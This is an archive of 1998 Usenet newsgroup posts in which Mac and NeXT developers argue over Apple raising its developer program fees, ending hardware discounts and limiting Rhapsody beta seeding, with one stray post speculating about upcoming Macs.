Date: 10 Apr 1998 18:09:26 GMT
Organization: P & L Systems
Message-ID: <6gln8m$oop$13@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggrql$oop$1@ironhorse.plsys.co.uk> <6gisof$bht$1@interport.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: float@interport.net
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <6gisof$bht$1@interport.net> float@interport.net wrote:
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
>
> : Why does anyone *need* to be part of the program if they're not
developing
> : professional or semi-professional apps. Sure, access to the latest and
> : greatest betas of the s/w is fun, but not essential if you're hacking at
home
> : for the joy of it. Apple is not a charity -- and I don't want to have to
pay
> : more for my Mac to subsidise someone else's hobby.
>
> Have you ever heard of "mindshare"? Sure, it's a buzzword, but
> dereference it and you find something important.
>
Yes, I've heard of mindshare.
> If I had free or cheap access to Rhapsody technology, I would put it on a
> spare PC. If I like Rhapsody, my next machine might be a Mac; the other
> option is Sun's Darwin (the $3000 Ultra 5).
>
Fine. I hope Rhapsody is priced in such a way that you'll find it affordable.
> I'm not about to write any killer apps for anybody's operating system,
>
OK, so why are you interested in Apple's developer program?
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Apr 1998 18:36:56 GMT
Organization: P & L Systems
Message-ID: <6glos8$oop$17@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu>
<6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <6gjgm5$bfj$1@news01.deltanet.com> Scott Ellsworth wrote:
> In article <ericb-0904981637520001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> >In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
> ><malcolm@plsys.co.uk> wrote:
> >
> >> No, I don't. I'm quite sure there are a number of hobbyists developing
> >> worthwhile s/w which I might find useful at some point, however on
balance
> >> reports suggest that the previous system was badly abused and on average
> >> Apple will have lost revenue through people signing up as developers
simply
> >> to get hardware at reduced prices.
> >
> >That doesn't give Apple the right to alter contracts. If they want to
> >decrease the discount, or raise the fees for renewals or new accounts,
> >fine. But they're cutting off *existing* subscribers.
>
> Like I have said iin other posts, had they continued the former
> rights and privledges until the end of my developer contract, I
> would merely think this an unwise change, but they have
> changed it unilaterally, for the worse, and without sufficient
> (i.e. before the last renewal) warning, imho.
>
According to Jordan J. Dea-Mattson
Senior Partnership & Technology Solutions Manager
Apple Developer Relations
In the case of Associates (who got no tech support, and paid $250, they
were moved to the Select program with no tech support incidents. These
folks get the $100.00 Metrowerks Coupon, so they just were given $100.00.
In the case of Associates Plus who got a limited number of tech support
incidents, and paid $500, they were moved to the Select program with tech
support incidents. These folks get the $100.00 Metrowerks Coupon, so they
just were given $100.00.
In the case of Partners, who paid $1500.00, they were moved to the
Premier program. These folks get the $300.00 Metrowerks Coupons and a
pass to WWDC ($1000.00 value), so they just were handed $1300.00.
Apple has not been cashing anyone's checks on new enrollments or renewals
for over six months. Everyone who has had to renew or join the program in
the last six months has gotten it gratias.
Jordan finishes by asking "Is anyone mentioning this fact?"
The answer is clearly "No." People would rather yell at Apple and bitch
about something they haven't learned enough about.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Apr 1998 18:44:38 GMT
Organization: P & L Systems
Message-ID: <6glpam$oop$18@ironhorse.plsys.co.uk>
References: <joe.ragosta-0804982109560001@elk62.dol.net> <B151824F-7635E@207.217.155.14>
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Cc: brad@hutchings-software.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <B151824F-7635E@207.217.155.14> "Brad Hutchings" wrote:
>
> mmalc, on the other hand (and to be a little picky here), is one of our new
> NeXT friends. Believe me, if I were the slightest bit worried about Apple's
> direction w.r.t. the technology I totally depend on for the future of my
> business, I'd be kissing every butt at every turn. Not that I'm accusing
> mmalc or the rest of the NeXT contingent of doing that, I'm just saying
> that's what _I_ would do that if _I_ were a Rhapsody developer today. With
> a number of "legitimate" commercial developers shaking their heads about
> the hardware thing and the price increase, I'd do everything to encourage
> Apple management to have a positive view of what I'm doing.
>
The implication you are making here is offensive. I ask you to retract it.
I can assure you that on other matters (publicly or privately) I have been
*very* critical of Apple.
mmalc.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 16:28:05 GMT
Organization: @Home Network
Message-ID: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <352b5da2.0@206.25.228.5> John Kheit wrote:
> j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> > In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
> > trumbull@cs.yale.edu (Ben Trumbull) wrote:
> > > I'm not about to stand up and say these changes are a great
> > > idea on Apple's part, but you do realize, you can buy *just*
> > > the tech mailing (including develop) for $199 ?
>
> > Which is what we used to do, but then realized you could not get
> > seeded unless you were an associate.
>
> What's seeded mean? Does that mean no beta's?
>
Some people are under the assumption that Apple's Developer Program is
tasked with the "mission" to multiply and procreate a whole cadre of
wonderful developers and new applications for Rhapsody. Seeded means that
Apple must grow all things naturally (ie. Ye reap what ye sow). This too
is an assumption, that Apple would seed "individual" developers with "the
code".
Apple's actions signal that it can't afford to get into the "handout"
business nor support legions of "individual" developers (read welfare). By
"raising-the-bar" Apple introduces an entry fee and seeds the concept of
"profit" in its Developer base. Developers who approach Rhapsody without
resources and a profit motive will be annoyed, discouraged and drop off.
In addition to Apple selectively choosing where to sow Rhapsody seeds,
expect an aggressive Developer program which fertilizes "porting"
applications and "bridging" interoperability between _platforms_, _suites_
and _drivers. Apple understands that Rhapsody consumes a "resource load"
that demands both mass and momentum which established Development houses
with existing product in the market can sustain. Apple's Developer program
is tasked with the mission to identify and demonstrate to established
Development houses "how" Rhapsody can "multiply" their profits. Apple's
Dev Program must "procreate" success after success in "bellwether"
industries critical to Rhapsody "positioning" in Apple's BusinessSpace.
What Apple Developer Program seeds is neither leadership nor a grand vision
around which anyone can "rally" . So Apple's unilateral actions lack
context and seed resentment and hostility...
What does "no beta" mean? It... just kidding. :-)
-r
Rex Riley
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 14:25:22 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d767e0.8dith31p5h0pxN@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com>
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Paul Rekieta <PRekieta@ix.netcom.com> wrote:
> You got it -- The Apple Developer Connection Mailing. The ADC Mailing is a
> 12-month subscription that includes the Developer CD Series, a wealth of
> technical resources, system software, development tools, technical
> documentation, Interactive Media Resources, SDKs, and more. More information
> can be found at http://developer.apple.com/programs/mailing.html.
Stop your advertinsing bullshit, please.
Better try to explain why Next^H^H^H^HApple decided to double the price
of the programs. For less stuff !
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
From: phenix@interpath.com (John Moreno)
Message-ID: <1d761b5.13ha0xu1i2sd4wN@roxboro0-043.dyn.interpath.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <01bd6267$fa532b30$9b2168cf@test1> <352ad905.0@206.25.228.5>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 08 Apr 1998 16:10:59 GMT
NNTP-Posting-Date: Wed, 08 Apr 1998 09:10:59 PST
In comp.sys.next.advocacy John Kheit <jkheit@xtdl.com> wrote:
> "Todd Heberlein" <todd@NetSQ.com> wrote:
> > > Agreed. I might have considered getting Rhapsody under the
> > > previous program. I might be able to scrounge up $250. $500
> > > is out of my price range. I guess they didn't solicit input
> > > from graduate students when forming their new policies. I'm
> > > hardly an important developer for Apple, and am
>
> > As a student, you will probably be able to get the full development
> > environment quite inexpensively from Apple, but we will have to
> > wait a while for Apple to make that move. The last time I received
> > word from Apple (less than a month ago), they had not hammered
> > out all the license deals with third parties.
>
> > Also, $500 is still quite cheap. As I mentioned in another
> > thread, yesterday I paid $1300+ for a license to use Digital's
> > command-line debugger (which is pretty lame).
>
> > I am also a Sun Catalyst member, but I still pay a fairly high
> > price for Sun's development tools.
>
> Yea, and look at the marketshare and number of developers for that
> platform vs. the mac. I don't know the details of this program
> change yet, so I'll reserve final judgement till then. But *if*
> they cut services and doubled the costs to developers, I'd say this
> is the proud continuation of BOZO behavior at Apple.
This about sums it up - specifically they are cutting the hardware
discount program with exactly the people who need it most -- small
developers (not that it's been a significant discount for years,
approximately the same price as their retail dealers).
I don't need the two free "incidents" of tech support - I find that I
can get most of that answered via usenet, but the price increase coupled
with the elimination of the discount -- why bother?
--
John Moreno
I am trying to convince the author of YA-NewsWatcher that the latest
version should be released to the public. He doesn't think there's much
interest in a new version. Help me prove him wrong. To do so, send me
mail <mailto:phenix@interpath.com> with a Subject of New YA. Comments
on what you like/dislike in the current version will be appreciated.
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 19:02:58 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6glqd2$7j4$4@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr>
xhsoft@injep.fr (Xavier Humbert) wrote:
> Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>> the increase in costs represents roughly a day's pay
>
> That's not the point. 100% is 100%.
Cans of soda used to cost 25 cents; they now cost 50 (or $1.00 or more on the
highway). That's a 100% increase, also. People who are thirsty deal with
it-- many of them don't even notice.
A computer company needs to be aware of the costs of being a part of the
industry. Runtime fees are very significant, since they alter the cost
dynamics of every copy sold. One-time costs, such as the developer
membership fees, do not change per-copy product economics.
If a one-time $250 cost change makes a difference to your company as to which
technologies to pursue, you were obviously considering a marginal
opportunity.
> BTW, I'm not a developer anymore. Now I'm employed as Network Engineer.
> And it is MY decision for my company to buy $50 000 new Macintoshes, or
> new Compaqs.
Okay. Why does the $250 change in the accessibility of Rhapsody DR1 seeding
make any difference whatsoever to your purchasing decisions?
For that matter, since Rhapsody will run on your Intel-based Comaqs just
fine, I don't understand what your point is.
> And my boss may find that $500 is too expensive just to evaluate new
> solutions. QED.
Okay. See above re: "marginal opportunities".
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: xhsof@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 14:42:23 +0200
Organization: INJEP
Message-ID: <xhsof-0804981442230001@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gebdl$5d0$1@vixen.cso.uiuc.edu>
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In article <6gebdl$5d0$1@vixen.cso.uiuc.edu>, gcheng@uni.uiuc.edu (Guanyao
Cheng) wrote:
> Can't you get the development CD's for $199?? Or do those not include
> beta OS releases??
Nor does it include hadrdware discounts, neither MacOS SDKs :-(
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Network Administrator humbert/AT/injep.fr
labo-info/AT/injep.fr
Institut National de la Jeunesse-Ministere Jeunesse et Sports
From: ashley@cs.curtin.edu.au (Ashley Aitken)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.misc,comp.sys.mac.advocacy
Subject: Beware New Macs?
Date: 8 Apr 98 03:00:35 GMT
Organization: Curtin University of Technology
Message-ID: <ashley.892004435@marsh>
Summary: Seems like Apple is preparing for some major new Macs
Keywords: new macs
Howdy All,
Ok, the subject line is a bit alarmist but I wanted to get your attention.
I know there are always new and better models over the horizon, and one
should buy when one finds a machine that does what they need ...
However, it seems to me with the current change in the Developer programs,
in particular the cutoff date for discount hardware purchase, that Apple
is trying to get rid of current stock (sounds like a good move - dump it
on developers). And, this implies *radical* new offerings (can you say
NC machines and Rhapsody servers with USB, DVD etc).
Again, we sort of knew this stuff was coming along soon, but is seems sad
to dump the current machines on developers who are supposed to be creating
the brave new world for Apple (lest they don't know it - Apple cannot do
this alone).
Anyway, enough of my rant. It seems rather gloomy to me, but then that's
probably because I'm very tire .... zzzzzzzzzz.
Sleeping,
Ashley.
ashley at cs dot curtin dot edu dot au and that's that.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 19:29:59 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6glrvn$f9j@newsb.netnews.att.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6girj3$6j$2@anvil.BLaCKSMITH.com> <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr> <6glqd2$7j4$4@anvil.blacksmith.com>
Originator: gupta@tlctest
>> And my boss may find that $500 is too expensive just to evaluate new
>> solutions. QED.
People are able to "sneak" Linux into the office though it is not
an "approved" product, and have it on departmental servers, etc.,
because it is extremely inexpensive. Likewise, I imagine many
people have the ability to do some discretionary spending without
having to get approval from higher-ups. Getting early beta-software
isn't all that important in this case. The ability of someone
to effectively advocate Apple's products will be hurt if Apple's
products are priced above certain magic points. In this regard,
I don't think prospective developers should worry too much about
developer subscription fees; the prices on the final products is
what is going to really make a difference.
[There is a developer down the aisle here, with a black Next cube
gathering dust, but still on his desk, and with a Snail advertisement
poster on his wall... I hope Rhapsody CR1 is released soon.]
-arun gupta
From: xhsof@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 14:48:10 +0200
Organization: INJEP
Message-ID: <xhsof-0804981448100001@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu>
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In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
trumbull@cs.yale.edu (Ben Trumbull) wrote:
> I'm not about to stand up and say these changes are a great idea on
> Apple's part, but you do realize, you can buy *just* the tech mailing
> (including develop) for $199 ?
And then ?
These are available for free (except Phone taxes) on Dev's Web
Let's point to a REALLY annoying thing for non-US developers : we have
theoretically no right to buy US system !!!
Not to mention Rhapsody seeds.
If developers have to pay 500 bucks to have Rhapsody, do you think the
will develop for it ?
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Network Administrator humbert/AT/injep.fr
labo-info/AT/injep.fr
Institut National de la Jeunesse-Ministere Jeunesse et Sports
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:39:15 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1004981239150001@dante.eng.uci.edu>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <ericb-0904981701440001@132.236.171.104>
In article <ericb-0904981701440001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
>Have any of you Mac users out there ever heard of a fellow by the name of
>Peter Lewis? He started writing Mac apps in his spare time while he was
>still employed at a university (do I sense a pattern here?).
[snip]
>Plenty of commercial or shareware apps had humble freeware beginnings.
>Other good software has always been freeware. Why charge these people
>$500 to get their hands on the latest system software? Do you want them
>all to tell users, "Sorry, my program doesn't work with OS 8.2, because
>Apple prices the developer versions out of my price range. I can't afford
>to test my freeware with 8.2 until *after* it comes out, and then start
>working on any necessary fixes."
But this is exactly where your argument falls apart because you probably
don't have to pay *anything* if you work for a univeristy.
80/20 rule time, boys and girls:
It would appear that a considerable amount of freeware and shareware comes
out of the .edu channel and the .edu channel doesn't have to pay.
A considerable amount of the commercial software comes out of the
traditional developer channel and they do have to pay. But guess what,
they are commercial so $500 is no big whoop. If it is, then you are
probably in need of a reality check.
Another big chunk of freeware comes from commercial developers that have
already paid their money, so that isn't a problem either.
I don't see the problem.
-Bob Cassidy
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:07:17 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu> <6gj0or$oop$12@ironhorse.plsys.co.uk> <trumbull-0904981554150001@net44-223.student.yale.edu>
In article <trumbull-0904981554150001@net44-223.student.yale.edu>,
trumbull@cs.yale.edu (Ben Trumbull) wrote:
: In article <6gj0or$oop$12@ironhorse.plsys.co.uk>, mmalcolm crawford
: <malcolm@plsys.co.uk> wrote:
:
: > > You don't think Apple loses on hardware sold at developer prices?
: > >
: > Compared to hardware sold at retail prices, yes.
:
: that's pure fiction. Retailers take a huge chunk out of Apple's net on
: those sales. And the hardware discounts were never very impressive,
: imho. Think about. Does Apple make more money if Apple sells X a Mac or
: if Cyberian Outpost sells X a Mac ?
:
Well, if the "hardware discounts were never very impressive", then why are
all these people whining about losing access?
Remember, also that Apple needed people to administer the hardware
program, take orders, get the boxes shipped, etc. I'm sure that cut into
any profits that Apple may have made on the boxes.
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com> <trev-0504982024220001@nas-sa-p5.usc.net> <see-below-0604982338260001@209.24.240.118> <6gcsue$fhe$10@ironhorse.plsys.co.uk>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352a8a76.0@206.25.228.5>
Date: 7 Apr 98 20:20:06 GMT
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <see-below-0604982338260001@209.24.240.118> Matthew Vaughan
> wrote:
> > Actually, "at the time" (1985-1988) Apple hadn't even begun to
> > sue Microsoft over the look and feel of Windows, because Windows
> > 3.0 (the first version that was even remotely Mac-like) wouldn't
> > even ship for another two years. But I think you may be right
> > that there were some limitations on what Next could do that
> > might have been too similar to the Macintosh.
I wish I had my references handy. Anyway, my recollection of the
case was that Apple was suing over widows2. Which stank majorly,
but did introduce overlapping windows. The suit was based on
windows2, which, I believe, was available around 86-86?
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 1998 16:15:45 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0704981616320001@192.168.1.3>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
<macghod@concentric.net> wrote:
> WTF is up with the apple developer program? I see a big announcement, and
> all it is is:
> 1st level: online stuff, just as it is now, ie NO CHANGE
> 2nd level: instead of costing $250 a year its now $500 a year??!?!??
>
> As far as I can tell it adds nothing and is a 2x increase!! Why to support
> development apple :)
Actually it adds nothing, removes other stuff and increases by a factor of
two... Apple did this a few years ago, gouge developers. It didn't work
then. I don't see why they think it will work now.
Jer,
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 1998 17:49:52 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0704981749520001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
<macghod@concentric.net> wrote:
> WTF is up with the apple developer program? I see a big announcement, and
> all it is is:
> 1st level: online stuff, just as it is now, ie NO CHANGE
> 2nd level: instead of costing $250 a year its now $500 a year??!?!??
>
> As far as I can tell it adds nothing and is a 2x increase!! Why to support
> development apple :)
Agreed. I might have considered getting Rhapsody under the previous
program. I might be able to scrounge up $250. $500 is out of my price
range.
I guess they didn't solicit input from graduate students when forming
their new policies. I'm hardly an important developer for Apple, and am
not likely to become one, but other people like me might (Aaron Giles
comes to mind as a recent example). :-|
--
Eric Bennet (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 1998 19:00:29 -0400
Organization: Yale University
Message-ID: <trumbull-0704981900290001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
In article <ericb-0704981749520001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
> <macghod@concentric.net> wrote:
>
> > WTF is up with the apple developer program? I see a big announcement, and
> > all it is is:
> > 1st level: online stuff, just as it is now, ie NO CHANGE
> > 2nd level: instead of costing $250 a year its now $500 a year??!?!??
> >
> > As far as I can tell it adds nothing and is a 2x increase!! Why to support
> > development apple :)
>
> Agreed. I might have considered getting Rhapsody under the previous
> program. I might be able to scrounge up $250. $500 is out of my price
> range.
I'm not about to stand up and say these changes are a great idea on
Apple's part, but you do realize, you can buy *just* the tech mailing
(including develop) for $199 ?
beats a sharp stick in the eye, sorta.
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 98 23:28:10 GMT
Organization: QMS
Message-ID: <6gecpj$f9p$2@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gebdl$5d0$1@vixen.cso.uiuc.edu>
In article <6gebdl$5d0$1@vixen.cso.uiuc.edu>, gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
>Can't you get the development CD's for $199?? Or do those not include
>beta OS releases??
The developer CDs for $199 is not a bad deal, but they do not
include the seeding support. That is, presumably, what you
are paying $500 for.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 98 23:27:14 GMT
Organization: QMS
Message-ID: <6gecns$f9p$1@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod" <macghod@concentric.net> wrote:
>WTF is up with the apple developer program? I see a big announcement, and
>all it is is:
>1st level: online stuff, just as it is now, ie NO CHANGE
>2nd level: instead of costing $250 a year its now $500 a year??!?!??
'Tis actually worse than that. Presently, the $250 Associates
get hardware discounts. As of the end of this month, they do
not, which means that the contract terms were changed unilaterally
in mid year.
I wrote to the ADR folks, and will give them a couple of days,
before I start haranguing Investor Relations. My argument is
that this will substantially discourage small developers, as well
as cost in the defense against the various class action suits
I hope to start/join/see, and should thus have been mentioned
in various SEC filings.
BTW, had they announced this for future renewals, I would not
have a real complaint. I would have thought it unwise, and
said so, but I would not have been enraged. Changing the
hardware purchase program requirements in mid year has
annoyed me to the point of leaving the program.
Choosing Tax Month as the month in which all such purchases
need to be made is also not a great move.
The seeding program, imho, served a valuable purpose, but
Apple, I think, does not want any leaks of its seeds, and so
it is trying to reduce the number of developers who might
have access.
>As far as I can tell it adds nothing and is a 2x increase!! Why to support
>development apple :)
Make that "takes away something of real value, and costs
twice as much." It does seem to be designed to eradicate
small developers.
But then, that is not too dissimilar to how Next behaved.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 98 23:30:53 GMT
Organization: QMS
Message-ID: <6gecun$f9p$3@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu>
In article <trumbull-0704981900290001@net44-223.student.yale.edu>, trumbull@cs.yale.edu (Ben Trumbull) wrote:
>In article <ericb-0704981749520001@132.236.171.104>, ericb@pobox.com (Eric
>Bennett) wrote:
>
>> In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
>> <macghod@concentric.net> wrote:
>>
